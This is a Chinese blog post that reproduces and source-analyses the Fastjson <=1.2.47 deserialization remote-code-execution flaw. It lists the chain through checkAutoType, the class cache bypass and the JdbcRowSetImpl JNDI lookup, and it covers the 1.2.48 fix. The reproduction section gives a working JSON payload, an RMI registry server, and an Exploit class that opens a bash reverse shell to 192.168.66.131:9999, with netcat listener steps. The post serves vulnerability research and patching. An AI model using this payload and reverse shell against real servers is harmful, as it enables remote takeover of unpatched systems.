fastjson反序列化过滤字段属性_Fastjson<=1.2.47反序列化漏洞源码分析及复现

最新推荐文章于 2024-08-11 01:45:18 发布
最新推荐文章于 2024-08-11 01:45:18 发布
阅读量222 收藏
点赞数
文章标签： fastjson反序列化过滤字段属性

简介

fastjson 是由阿里开发的一种 json 的解析器和生成器。在 2019 年 6 月 26 日，用户提出 issue [1]，存在远程代码执行的版本 <=1.2.47。

环境准备

  • jdk 1.6.0.65
  • fastjson 1.2.47

Let's Hack

POC

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}

复现采用 jndi 利用方式，建议先阅读us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE[2] ，了解 jndi 注入。

RMIRegistry.java

package deserialize;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIRegistry {   public static void main(String[] args) throws Exception {       Registry registry = LocateRegistry.createRegistry(1099);       Reference reference = new Reference("Exploit",               "Exploit","http://localhost/");//这里请求的localhost 80端口的Exploit对象       ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);       registry.bind("Exploit",referenceWrapper);   }}

Exploit.java

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit implements ObjectFactory {    @Override    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) {        exec();        return null;    }    private static void exec() {        try {            Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.66.131/9999        } catch (IOException e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        exec();    }}

POC.java

package deserialize;import com.alibaba.fastjson.JSON;public class POC {    public static void main(String[] argv) {        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x1001\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}";        JSON.parse(payload);    }}
  1. 使用javac编译Exploit.java，得到的Exploit.class，放入本地或其他服务器(由于 rmi servicei 请求80端口，所以保证服务器绑定在80端口)的根目录。
  2. 运行 RMIRegistry.java。
  3. 攻击机(192.168.66.13) 运行netcat -lvvp 9999 监听 9999 端口，运行 POC.java，如图 3-1可以看到成功拿到 shell。d50a6edcb8c7ef370ef017bd530140b0.png
    图3-1

漏洞原理

Fastjson 中负责处理 parse 的一般是 DefaultJSONParser.parseObject。fastjson 中将带解析的数据用 JSONLexer 封装。对如下解析的数据

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}

从左向右解析。ec858c78689d6cca80c7a199fd7c9186.png

图4-1

在图 4-1 中，当解析到@type时，进入checkAutoType,传入的参数typeName=java.lang.Class，跟进checkAutoType方法。

public Class> checkAutoType(String typeName, Class> expectClass, int features) {        if (typeName == null) {            return null;        }				//省略部分代码        if (clazz == null) {            clazz = TypeUtils.getClassFromMapping(typeName);//将typeName作为key从mappings(ConcurrentMap对象)中查找对象,这个相当于从cache取值，刚开始没有存入对象，取出值为null        }        if (clazz == null) {            clazz = deserializers.findClass(typeName);// 将typeName作为key从deserializers(IdentityHashMap)中查找对象        }        if (clazz != null) {            if (expectClass != null                    && clazz != java.util.HashMap.class                    && !expectClass.isAssignableFrom(clazz)) {                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());            }            return clazz;        }        if (!autoTypeSupport) {//判断提取的对象hash值是否在denyHashCodes，也就是黑名单过滤            long hash = h3;            for (int i = 3; i < className.length(); ++i) {                char c = className.charAt(i);                hash ^= c;                hash *= PRIME;                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {                    throw new JSONException("autoType is not support. " + typeName);                }                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {                    if (clazz == null) {                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);                    }                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());                    }                    return clazz;                }            }        }        if (clazz == null) {            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);        }        //省略部分代码        return clazz;    }

在TypeUtils.getClassFromMapping方法，第一次没有存入 cache 为 null，跟进deserializers.findClass(typeName),可以看到该方法通过keyString(这里传入的是java.lang.class)匹配this.buckets的 className，this.buckets存在java.lang.class，所以返回java.lang.class。

public Class findClass(String keyString) {        for(int i = 0; i < this.buckets.length; ++i) {            IdentityHashMap.Entry bucket = this.buckets[i];            if (bucket != null) {                for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {                    Object key = bucket.key;                    if (key instanceof Class) {                        Class clazz = (Class)key;                        String className = clazz.getName();                        if (className.equals(keyString)) {                            return clazz;                        }                    }                }            }        }        return null;    }

回到DefaultJSONParser.parseObject()方法，继续跟进，如下图 4-2，通过 config.getDeserializer 获得反序列化的路由类 MiscCodec。并调用该路由类的deserialze(this, clazz, fieldName)方法，de4f2d20aa702d8e12047806f15e5974.png

图4-2

跟进该方法中,如图 4-3，主要调用parser.parse()方法提取到com.sun.rowset.JdbcRowSetImpl赋给objVal对象。337dbd8b756885226f0d39bc5124e228.png

图4-3

继续往下走，如图 4-4，调用TypeUtils.loadClass。4eb1d39910768a169a8862a4b57988fa.png

图4-4

跟进loadClass(String className, ClassLoader classLoader)方法，如图 4-5，loadClass调用该方法的重载方法，设置为true。4ae8280ced251ffbcbe5e79dd78f15d3.png

图4-5

跟进loadClass的重载方法，将com.sun.rowset.JdbcRowSetImpl存入上文在checkAutoType中提到mappings中(即缓存中)。4079694a2bf8afc34a747b05fbfebfda.png

图4-6

至此第一部分解析完了，主要做的是将com.sun.rowset.JdbcRowSetImpl存入 mappings 中，接下来解析第二部分，让我们回到DefaultJSONParser.parseObject()，解析的第二个键值对如下：

"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

和第一个一样，不同的是，此时的 typeName 为com.sun.rowset.JdbcRowSetImpl。b4982a8afe4253886a3157752bc25ca0.png

图4-7

跟进config.checkAutoType(String typeName, Class> expectClass, int features)方法，如图 4-8,由于第一次解析中将com.sun.rowset.JdbcRowSetImpl存入 mappings 中。如图 4-9，这次直接通过TypeUtils.getClassFromMapping(typeName);获取到 com.sun.rowset.JdbcRowSetImpl 对象。并返回该对象。(同样绕过 checkAutoType 中黑名单限制以及 autoType 开关的检查)f3f41f210098b7794d9f792f13e8f136.png

图4-8

4533624f40b706d9912b1f10fca9226b.png

图4-9

和第一次一样，如图 4-10调用deserializer.deserialze(this, clazz, fieldName)，不同的是这次得到的反序列化路由类为FastjsonASMDeserializer。

6ea88eae2cd56663f506f2cb77ced095.png

图4-10

跟进deserialze(DefaultJSONParser parser, Type type,Object fieldName,Object object, int features, int[] setFlags)，首先有一些 asm 操作，接着调用如deserialze方法,如图 4-11。68544288353f92a61e5389755d8537a4.png

图4-11

在setValue中通过method.invoke(object, value)反射执行com.sun.rowset.JdbcRowSetImpl.setAutoCommit方法

6bd01f31e6c997994e9543ab209c18fa.png

图4-12

跟进setAutoCommit中，如图4-13调用this.connect()bb0cd0d5fef17f761acee78e015212dc.png

图4-13

如图4-14this.connect()对成员变量 dataSourceName 进行 lookup，成功利用 jndi 注入。9ae40a0e38ba47443d16ead476022c9b.png

图4-14
整个利用链： 
Exec:620,Runtime //命令执行Lookup:417,InitalContext //jndi lookup函数通过rmi加载恶意类setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit触发lookup函数setValue:96,FieldDeserializer //反射调用传入类的set函数deserialze:600, JavaBeanDeserializer //通过循环调用传入类 set,get,is函数parseObject:368,DefaultJSONParser //解析传入的json字符串

官方修复

官方在 1.2.48 版本更改以下代码进行修复，推荐升级到最新版本。

  1. 黑名单修复，增加8409640769019589119(java.lang.Class)*1459860845934817624(java.net.InetAddress)*两个类的黑名单。ae95d4869621cfbd7005ea1af2618710.png
  2. MiscCodec.java 文件对 cache 缓存设置成 false3c8e7b6f8d35e7ebebc1a27758d89783.png
  3. ParserConfig.java 文件对 checkAutoType()进行了相关策略调整.a8ef146780e40cc2853e8d3a637b71a1.png

漏洞检测

采用一些三方组件自动化检测工具，如安全玻璃盒 IAST 产品等，结果如下：

b7082540311ab3a6e7596b897b428a7b.png

参考资料

[1]

issue: https://github.com/alibaba/fastjson/issues/2513

[2]

us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

weixin_39997664
关注
什么是RMI，为什么要使用RMI框架？
learning__java的博客
06-27 1万+
这里是修真院后端小课堂，每篇分享文从 八个方面深度解析后端知识/技能，本篇分享的是： 【什么是RMI，为什么要使用RMI框架？】 大家好，我是IT修真院深圳分院第10期的JAVA学员，一枚正直纯洁善良的java程序员。 今天给大家分享一下，修真院官网Java任务8，深度思考中的知识点—什么是RMI，为什么要使用RMI框架？ 1.背景介绍 什么是RMI RMI是Java的一组拥护开发分布式应用程序的...
fastjson反序列化map_fastjson反序列化复现
weixin_39922749的博客
12-03 482
fastjson反序列化准备1.marshalsec ---可用jar包 参考：github：https://github.com/LeadroyaL/cve-2019-14540-exploitgitclonehttps://github.com/mbechler/marshalsec.gitmvnpackage-DskipTests-DskipTests，不执行测...
fastjson反序列化过滤字段属性_最新fastjson反序列化漏洞分析
weixin_39914863的博客
11-22 534
前言写的有点多，可能对师傅们来说比较啰嗦，不过这么写完感觉自己也就明白了pocnewPoc.javaimport com.alibaba.fastjson.JSON; public class newPoc { public static void main(String[] argv) { String payload = "{"name":{"@type":"java...
科普文：Java基础系列之【字节码应用案例Fastjson反序列化漏洞】
最新发布
为无为，事无事，味无味。
08-11 1064
transform方法利用Java的反射机制进行函数调用，传入的参数是input是一个实例化对象，利用这个方法便可以调用任意对象的任意方法(exec)从而执行命令，所以在DeSertPoc类里新建Transformer，最后组成的核心表达式为:((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("whoami");基于TemplateImpl的方法可以直接执行bytecodes。
告急！fastjson又被发现漏洞，这次危害可导致服务瘫痪！
Java后端技术
09-08 334
点击上方“Java后端技术”，选择“置顶或者星标”你关注的就是我关心的！本文来源：https://tinyurl.com/y53yanrw上一篇：不敢相信？System....
fastjson反序列化过滤字段属性_fastjson反序列化历史与检测
weixin_39792803的博客
11-22 770
fastjson 1.22-1.24fastjson对于数据的处理有点绕，没有从一到底的堆栈显示，只能一步一步的跟，首先列出exp：public class rce_22 { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream...
Fastjson 1.2.47反序列化漏洞复现
m0_54899775的博客
03-16 3405
Fastjson 1.2.47反序列化漏洞复现
Fastjson＜=1.2.47反序列化漏洞复现
m0_48520508的博客
07-28 932
0x01简介 fastjson 是阿里巴巴的开源JSON解析库，它可以解析 JSON 格式的字符串，支持将 Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串反序列化到 JavaBean。 FastJson特点如下： （1）能够支持将java bean序列化成JSON字符串，也能够将JSON字符串反序列化成Java bean。 （2）顾名思义，FastJson操作JSON的速度是非常快的。 （3）无其他包的依赖。 （4）使用比较方便。 0x02漏洞介绍 Fastjson提供了aut
漏洞复现 - - - Fastjson反序列化漏洞
weixin_67503304的博客
08-25 6372
简单讲解Fastjson反序列化漏洞，简单讲述漏洞利用shell
Fastjson各版本反序列化EXP 1.2.24 1.2.41 1.2.42 1.2.43 1.2.45 48 62 66
03-29
# Fastjson&lt;=1.2.47反序列化漏洞为例 1、此时/tmp目录 ![img]...
Fastjson反序列化漏洞复现分析
include_voidmain的博客
03-25 5488
0x01 反序列化过程 fastjson将字符串转换为对象的方法主要有parse和parseObject 其中parseObject也会调用parse来解析json，下面来分析下反序列化过程 首先写一个测试的javabean public class TestBean { public String isMessage; public String message; public int id; public String getMessage() { System.out.println("getMess
fastjson1.2.75暂未修补的反序列化“漏洞“-附件资源
03-02
fastjson1.2.75暂未修补的反序列化“漏洞“-附件资源
fastjson jar包_JAVA反序列化—FastJson抗争的一生
weixin_39662462的博客
11-22 1108
No.1声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。No.2前言其实从一开始就是想着学一下fastjson...
Fastjson漏洞
weixin_43873557的博客
02-06 5285
➢ Fastjson概述 Fastjson是阿里巴巴公司开源的一款json解析器，它可以解析 JSON 格式的字符串，支持将 Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串反序列化到JavaBean。 ➢历史漏洞 Fastjson &lt;=1.2.24 反序列化远程命令执行漏洞 Fastjson &lt;=1.2.41 反序列化远程命令执行漏洞 Fastjson &lt;=1.2.42 反序列化远程命令执行漏洞 Fastjson &lt;=1.2.43 反序列化远程命令执行漏洞
fastjson漏洞
m0_37180957的博客
05-30 496
对于最新版本的fastjson，是有漏洞的。 版本： com.alibaba fastjson 1.2.68 在序列化的过程中，是存在白名单漏洞的。具体需要关注一下反序列化的过程。 https://cert.360.cn/daily
FastJSON安全漏洞
隐心咒Amor的博客
11-22 185
安全漏洞
Java安全篇-Fastjson漏洞
m0_63138919的博客
03-28 3272
本文章参考网上师傅们的解题和代码审计思路，记录自己的学习过程，还希望各位博主 师傅 大佬 勿喷，还希望大家指出错误
fastjson反序列化过滤字段属性_FastJson稍微使用不当就会导致StackOverflow
weixin_39653320的博客
11-22 732
对于广大的开发人员来说，FastJson大家一定都不陌生。FastJson(https://github.com/alibaba/fastjson)是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。它具有速度快、使用广泛、测试完备以及使用简单等特点。但是，虽然有这么多优点，但是不代表着就...
weblogic和fastjson反序列化漏洞原理分析及复现
09-07
WebLogic和Fastjson反序列化漏洞是两个独立的漏洞，但它们都涉及到Java反序列化的安全问题。我会分别给你介绍这两个漏洞的原理和复现方法。 1. WebLogic反序列化漏洞原理分析及复现： WebLogic反序列化漏洞是指通过...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值